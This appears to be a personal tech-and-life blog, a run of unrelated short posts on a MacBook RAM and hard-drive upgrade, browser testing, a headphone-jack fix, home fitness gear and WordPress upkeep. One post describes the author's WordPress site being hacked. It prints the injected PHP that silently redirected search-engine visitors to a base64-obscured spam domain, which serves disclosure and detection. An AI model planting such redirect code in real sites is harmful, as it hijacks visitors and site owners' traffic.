We didn’t really need the RAM, but it was so cheap, and the installation is so trivial, that I couldn’t pass it up. In case you’re curious, I ordered the upgrades from OWC, and paid about $110 total ($30 for the RAM and $80 for the HD).

Preparing for the upgrades

Since we’re running Leopard, I’ve been using TimeMachine to automatically backup her hard drive to an external drive mounted as an AirDisk over our AirPort Extreme wireless network. In preparation for the upgrades, I ran one last backup, then shut off TimeMachine and shutdown the computer. The good news is that, even if you’ve been backing up over the network, uou can mount your hard drive over FireWire prior to restoring to speed things up.

Opening your MacBook

The first step to installing your upgrades is to gain access to the memory slots and the drive bay. To do this, simply flip the computer over with the battery toward you. Next, remove the battery and then take out the three visible screws to remove the L-bracket. Note that the mounting screws don’t come all of the way out of the L-bracket.

Once the bracket is out of your way, you’ll see the side-by-side memory slots in front of you and the drive bay to the left. Two little levers will pop out of the memory slots (one per slot). These are for popping the memory out of your You’re now ready to start you upgrades.

Removing and installing the RAM

Before you start, take a look at how far in the RAM chip are — you’ll need to push the new ones in this far to seat them. Once you have a good sense for how things look, you’re ready to proceed…

To remove the old RAM, simply pull the little levers toward you and to the left. The memory chips should partly emerge from the slot. Next, simply place the new memory chips into the slot in the same orientation as the old ones. In other words, insert them with the copper contacts away from you and the notch to the left. Note that they initially slide right in, but you’ll have to push a bit at the end to seat the RAM.

Removing and installing the hard drive

Removing the hard drive is surprisingly easy. Simply pull the little white tab out from under the drive and give it a tug to remove the drive. Once it’s out, you’ll see that the drive is actually mounted in a metal “sled.” You need to remove the old drive from this sled and put the new one into it.

Note that the drive is held in place by four “5-point star” screws. If you don’t have an appropriate screwdriver, it’s possible to remove these screws with a small flathead screwdriver. This is the route that I had to go. I’m not sure of the exact size, but we have a small flathead driver that fits snugly across/within the start-shaped opening. Just be careful not to strip the head of the screw.

Once you have the new drive mounted in the sled (oriented exactly like the old one), simply slide the drive/sled back into the drive bay. Make sure it goes all the way back in such that you can put the L-bracket back on.

Closing things back up

Once you’ve replaced the hard drive and RAM, simply replace the L-bracket and re-attach it with the three screws. Note that you’ll probably have to tuck the padding in along the RAM slots or the bracket won’t go back on properly. Just use a small flathead screwdriver to poke it down and tuck it behind the internal frame. Once you have the bracket re-attached, simply replace and secure the battery.

Restoring your data

Now it’s time to restore your data. Re-connect your backup drive and re-boot your computer using the Leopard installer DVD (hold down ‘C’ while you reboot). Once it’s booted, select “Disk Utility…” from the “Utilities” pulldown menu and reformat your drive.

Next, re-boot from the installer DVD. This is an important step, as you’re newly formatted drive won’t be available for restoration until you restart things. Once you’re computer is re-booted, select “Restore System From a Backup…” from the “Utilities” pulldown menu. Select the backup volume, select the backup version that you wish to use (you’ll presumably want the most recent backup), and then select the destination (your newly formatted internal drive).

That’s it. Now you just need to let TimeMachine do it’s thing.

Closing notes

The entire process (not including the TimeMachine backup) took about 20 minutes. It’s dead simple, and totally not worth paying someone to do it for you. As for TimeMachine, we had about 65GB of data to transfer back to the new drive> Although TimeMachine initially estimated 2+ hours to complete the transfer, it took under an hour to complete. Remember, you can hook up via FireWire or USB2 to speed things up even if you’ve been doing your backups over the network.

That’s it. Easy peasy, lemon squeezy.

If you want to check how your pages look in a variety of Windows-based browsers, check out BrowserShots.org. This is a free service that offers screenshots using a wide variety of browsers on multiple platforms.

This is especially useful for Mac users (such as myself) who need to be sure that things look okay when viewed with Internet Explorer. In fact, I’ve been using it quite heavily over the past few days, as I’ve been working on a new layout for my personal finance and parenting sites. While I’ve used Parallels Desktop to check browser compatibility in the past, BrowserShots gives me access to a much wider variety of browsers. And best of all, it also allows me to stop bugging my Windows-based friends for help — thanks Jim and MBH!

In short, it seems that there’s a little switch inside the headphone jack that toggles between analog and digital sound, and it was stuck such that my computer was trying to provide optical audio output. I tried plugging and unplugging the headphones, but the red LED remained on, and my computer remained silent. I also tried to play around with the sound settings as well as the settings in the Audio MIDI utility, but the options that I needed were greyed out.

The solution that I ran across was to gently insert a toothpick into the headphone jack and wiggle it around. More specifically, work the tip of the toothpick around on the bottom of the headphone jack. In my case, it took just a second or two to jiggle the switch back to its default position, extinguishing the red LED and restoring sound to my built-in speakers.

When I awoke this morning, traffic to FiveCentNickel was low and a quick check of my SiteMeter referral logs revealed that I was barely getting any search traffic. I loaded the front page and all appeared to be fine. I was afraid that I had been hacked (again), but was showing no signs of it aside from a lack of search traffic.

I couldn’t figure out what was going on until I tried clicking an internal link. When I did that, I just got an error instead of the article that I had clicked on. When I dug deeper, I realized that this happened because I had moved my .htaccess file instead of copying it. Aaaargh!

The good news is that I did this late on a Sunday evening, and discovered the problem early Monday morning. There wasn’t much too lose during those few hours. And… I’ve learned a valuable lesson.

As an aside, I’d forgotten how complete an upper body workout you can get from pushups. Way more abs involved than I remembered (I’ve mostly been doing dumbbell work on a bench).

Who’s with me?

[Hat tip to Blaine Moore for pointing this out.]

sidebar: According to Donncha, 2.5.x is not vulnerable to this, but I’ve personally seen a number of 2.5.x sites that are afflicted. One commonality is that many (all?) of these sites are on DreamHost. I wonder if the hackers have somehow compromised DreamHost, and are attacking the 2.5.x installs from the inside (?). Or perhaps they were compromised before upgrading. Just musing — no evidence of that so far. /sidebar

While the nefarious code was, in my case, included in index.php, others are reporting that it may involve a corrupted image file set in the wp_options database table to act as a plugin.

Here are some related articles on the topic: link, link, link

Some DigitalPoint threads: link, link

And some WordPress support threads: link, link

And, finally, video on fixing the problem if you have the plugin version: link

(Thanks to Patrick for the video link.)

It’s still unclear how the affected sites were compromised.

To find out if you’re affected:

Clear cookies, run a Google search for your site, and then click through. If you wind up at your site you’re probably okay. If it redirects to (or through) anyresults.net, then you’ve been hacked. If I were you, I’d try this a couple of times as the cookie that hides the hack seems to stick in some browsers.

Update: Be sure to read the GRS post about getting rid of this thing. I just discovered that I had an extraneous user created at 00:00:00 on 0000-00-00. Unlike JD, however, I haven’t discovered any other database changes — perhaps because I was running an older version of WP (2.3.3) which was easier to take down (?).

Ump Hit With Pitch

A Georgia high school catcher ducked during a playoff game and let a pitch hit the ump in the face. And now… The college he was going to play for no longer wants him, the high school was fined $1k, and the coaches have to go to sportsmanship training.

Apparently the pitcher’s older brother was called out on strikes during the previous inning and got into an argument with the ump. Accident? I think not.

Oddly enough, I still ranked well for all of the terms that had brought me traffic in the past. So what was happening? If I was still ranking well in the SERPs, why weren’t people clicking through?

Unsure of what else to do, I enlisted the help of Jim, Flexo, and Clever Dude and sent a shout out to all who are following me on Twitter. Among other things, I asked these guys to search for a few keywords to see if my rankings were holding up.

My search results were just fine, ruling out the possibility that Google had rolled out new search data that excluded little old me, and it just hadn’t filtered down to our neck of the woods.

And then it happened…

Clever Dude clicked on a Google search result and was redirected elsewhere. But when he clicked it again, all was well. When I reported this via IM to Jim, he checked it out and saw something similar.

As it turns out, I was the victim of a WordPress hack that stole pretty much all of my search traffic, but somehow hid itself using cookies. Upon further inspection, I discovered the following bit of code at the top of index.php:

$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }
if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

If you hit Google without the cookie and tried to click through to my site, you were directed elsewhere. But once it happened to you once, it couldn’t be repeated until you cleared your cookies. Very sneaky.

So where was all of my traffic going?

It was being shunted through www.anyresult.net (no link for you!) and then winding up at an spammy, ad-filled landing page on www.dealtime.com (again, no link for you — I’ve helped enough today). I suspect that dealtime.com had likewise been compromised, though I can’t say for sure.

I’m still not sure how they got in, but I’ve reported it to my host, cleaned everything up, and changed all of my passwords. For reference, I was running WordPress 2.3.3, though I have since upgraded to WordPress 2.5.1.

Before you ask, yes, I’m aware that I was taking a slight risk by running a slightly older version of WordPress. In my defense, however, early releases of major WordPress updates often have numerous bugs of their own. As such, I typically wait until at X.X.2 before upgrading unless a serious hole is discovered in the version that I’m currently using.

Update: All WordPress versions appear to be vulnerable.

Guess what? I just found one.

So… I’ve put together a home gym of sorts that lets me get a fairly complete workout in the convenience of my own home. The components:

» Concept2 Model E Rowing Machine (Erg)
» PowerBlock Personal Adjustable Dumbbell Set
» Adjustable incline bench (sorta like that, but the seat is angled up)

This stuff takes up roughly half of the spare bedroom/office upstairs and allows me to get a good, full body cardio workout (rowing) plus a bit of weight training. I’ve been at it since early March and I’m finally got to the point where I miss my workouts if I don’t do them.

My goals are pretty straightforward at this point. I try to row as often as possible, and I never skip more than one day in a row. Typical sessions are 6-8k, somewhere in the 25-35 minute range, though I’m working on extending them. I combine the rowing with dumbbell work three or so times per week. I’m shooting for a minimum of 100k meters per month which, as it turns out, is actually pretty easy to achieve — I should probably increase it.

My wife, on the other hand, has been a long-time runner. Unfortunately, the year and miles have finally begun to catch up with her, and we recently decided to part ways with our trusty treadmill and replace it with a nice elliptical. After much consideration, we settled on the Life Fitness X5. Not cheap by any stretch of the imagination, but it’s the sort of thing that gets used all the time.

I haven’t done much with it myself, primarily because my heart rate monitor from the erg isn’t compatible with the elliptical. My wife snagged the Polar heart rate monitor that came with it (my erg came with a Suunto) and we’re not crazy about the idea of sharing a sweaty chest belt. Thus, until I find the time to buy myself a Polar, I’ll probably stick with the erg.

I should note, however, that I’ve used a Life Fitness elliptical in the past (including while we were on our Disney Cruise) and I actually quite liked thitem, despite my aversion to running. And more importantly, my wife absolutely loves it.

Holy crap.

[Via: Blaine Moore's Twitter Feed]

Mouseover DOM Inspector

Just save it to your bookmarks toolbar (or wherever). When you want to use it, simply click on it and then mouseover the elements you’re curious about. When you’re done, simply hit escape.

This is a pretty nifty little too for quickly figuring out column widths, etc. when poking around on a site.

This is a great little set-and-forget tool for alerting you to downtime so you can follow up with your host and get things straightened out. Likewise, if you’re using any affiliate programs, you might want to monitor them to protect against possible outages — this is especially valuable if you’re running pay-per-click campaigns, as downtime = wasted advertising dollars.

The monitoring can be a bit haphazard at times, in that it pings at somewhat random intervals. For example, of the sites that I’m currently tracking, one hasn’t been pinged in four hours whereas all the others have been pinged within the past hour. Regardless, it’s free and easy to use, so you have nothing to lose by setting it up — this is especially true if you use any sort of “budget” web host.

Now I have an example to back this up:

wp-table

This is a slick little plugin that creates fancy html tables. The problem, as stated at the top of the download page, is that:

This plugin do not support WordPress 2.5. Currently I don’t plan a new version…

This means that anyone that has relied on this plugin in the past has a choice to make:

(1) Don’t upgrade beyond WordPress 2.3.X
(2) Upgrade, stop using the plugin, and lose all of your tables
(3) Go back and hand-code your tables before upgrading

Fortunately for me, I only played around with this plugin briefly, and had only one table to fix. But if you had relied heavily on this plugin, you’d be in a pretty tough spot right now.

While plugins can a great tool, it’s important to remember that you’re dependent on the developer to maintain compatibility going forward. Thus, when it comes to content creation, you’re better off biting the bullet and future-proofing your articles from the very beginning rather than relying on third-party add-ons.

Richardson wins state team title alone

Bonnie Richardson ran. She threw. She jumped. And when it was time to hand out the team trophies, Richardson accepted the 1A team championship for Rochelle High School — by herself… Richardson was the only Rochelle athlete to qualify for the state meet and stunningly won the team title.

Wow. That’s impressive.

[via: foldedspace]

The bad news is that they shipped my the 60W version instead of the 85W version. While the 60W adapter works with the MacBook Pro, it’s designed for the regular MacBook and it doesn’t really have enough charging capacity and it takes forever to charge the battery if I’m using the computer at the same time.

Unfortunately, Apple’s tech support line was closed by the time I discovered the problem. Oh well, it’s works well enough to limp along until things get straightened out.

To make a long story short, I discovered that the wire leading from the power brick to the MagSafe plug (which goes into the computer) had shorted out. As you can see from the pic below, it burned right through the wire insulation. Scary stuff. As far as I know, there’s not a recall for this (yet).

(Sorry for the crappy cell phone-quality picture.)

The good news is that my computer wasn’t damaged and the house didn’t burn down. Since I have AppleCare, I called them up to report the problem and to get a replacement. They took an incident report and then agreed to cross-ship a replacement. The bad news is that it will take 3-5 business days to arrive. I objected, as they’ve sent stuff to me overnight in the past. But this time they wouldn’t relent, saying only that 3-5 days was the best they could do.

Fortunately, my wife has a plain old MacBook, and the power adapter is compatible with my MacBook Pro, so at least I’ll be able to compute between now and when it arrives.

I have a personal finance site, I have a credit card site, and my wife and I have a parenting site.

This one is for everything else. Daily life, fitness, politics, productivity, webdev, etc. If it doesn’t fit elsewhere, then you’ll probably find it here. Or at least that’s how I envision things right now.